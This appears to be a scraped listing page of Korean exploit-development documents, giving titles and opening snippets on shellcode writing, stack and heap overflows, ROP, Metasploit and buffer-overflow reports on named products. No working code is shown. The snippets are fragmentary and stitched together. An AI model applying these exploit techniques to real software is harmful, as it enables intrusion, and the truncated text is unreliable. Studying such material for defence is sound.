20 정리!!!! 유니버셜쉘코드만드는방법왜유니버셜쉘코드가필요한가? 이전장에이야기되었듯쉘코드를변경해야하는데, 주소가다르기때문에주소 PEB 이용! PEB 이용방법 TOP SEH 이용! TOP SEH 이용방법 3. 참조문서및참고사이트 3.1 x86 Assembly Language Reference Manual 3.2 AmesianX s JPEG Exploit 3.3 Windows Bind Shellcode Analysis blksaint 3.4 Shellcoder s Handbook 20/20

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20

3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20 3.20 테러 악성코드바이너리분석 손충호 (StolenByte) stolenbyte@wowhacker.org WOWHACKER Group 2013-03-20 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20 전체적인공격프로세스 페이지 2 / 20 1. 바이너리가사용할 LoadLibrary 하여함수 Load

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Heap Overflow By WraithOfGhost

Heap Overflow By WraithOfGhost Heap Overflow - 101 By WraithOfGhost 이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

UDP Flooding Attack 공격과 방어

UDP Flooding Attack 공격과 방어 황 교 국 (fullc0de@gmail.com) SK Infosec Co., Inc MSS Biz. Security Center Table of Contents 1. 소개...3 2. 공격 관련 Protocols Overview...3 2.1. UDP Protocol...3 2.2. ICMP Protocol...4 3. UDP Flood Test Environment...5

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri Windows System Hacking Technique Author E-Mail Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : http://ruinick.tistory.com : http://cafe.naver.com/rekcah

More information

/* */

/* */ /*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

chapter4

chapter4 Basic Netw rk 1. ก ก ก 2. 3. ก ก 4. ก 2 1. 2. 3. 4. ก 5. ก 6. ก ก 7. ก 3 ก ก ก ก (Mainframe) ก ก ก ก (Terminal) ก ก ก ก ก ก ก ก 4 ก (Dumb Terminal) ก ก ก ก Mainframe ก CPU ก ก ก ก 5 ก ก ก ก ก ก ก ก ก ก

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

Microsoft Word - GOM-StackOverFlow.doc

Microsoft Word - GOM-StackOverFlow.doc GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

DE1-SoC Board

DE1-SoC Board 실습 1 개발환경 DE1-SoC Board Design Tools - Installation Download & Install Quartus Prime Lite Edition http://www.altera.com/ Quartus Prime (includes Nios II EDS) Nios II Embedded Design Suite (EDS) is automatically

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - SEH_Overwrites_Simplified.doc SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.

More information

02 C h a p t e r Java

02 C h a p t e r Java 02 C h a p t e r Java Bioinformatics in J a va,, 2 1,,,, C++, Python, (Java),,, (http://wwwbiojavaorg),, 13, 3D GUI,,, (Java programming language) (Sun Microsystems) 1995 1990 (green project) TV 22 CHAPTER

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

untitled

untitled CAN BUS RS232 Line Ethernet CAN H/W FIFO RS232 FIFO IP ARP CAN S/W FIFO TERMINAL Emulator COMMAND Interpreter ICMP TCP UDP PROTOCOL Converter TELNET DHCP C2E SW1 CAN RS232 RJ45 Power

More information

Microsoft Word - Static analysis of Shellcode.doc

Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

PRO1_09E [읽기 전용]

PRO1_09E [읽기 전용] Siemens AG 1999 All rights reserved File: PRO1_09E1 Information and - ( ) 2 3 4 5 Monitor/Modify Variables" 6 7 8 9 10 11 CPU 12 Stop 13 (Forcing) 14 (1) 15 (2) 16 : 17 : Stop 18 : 19 : (Forcing) 20 :

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

Microsoft PowerPoint - a5a.ppt [호환 모드]

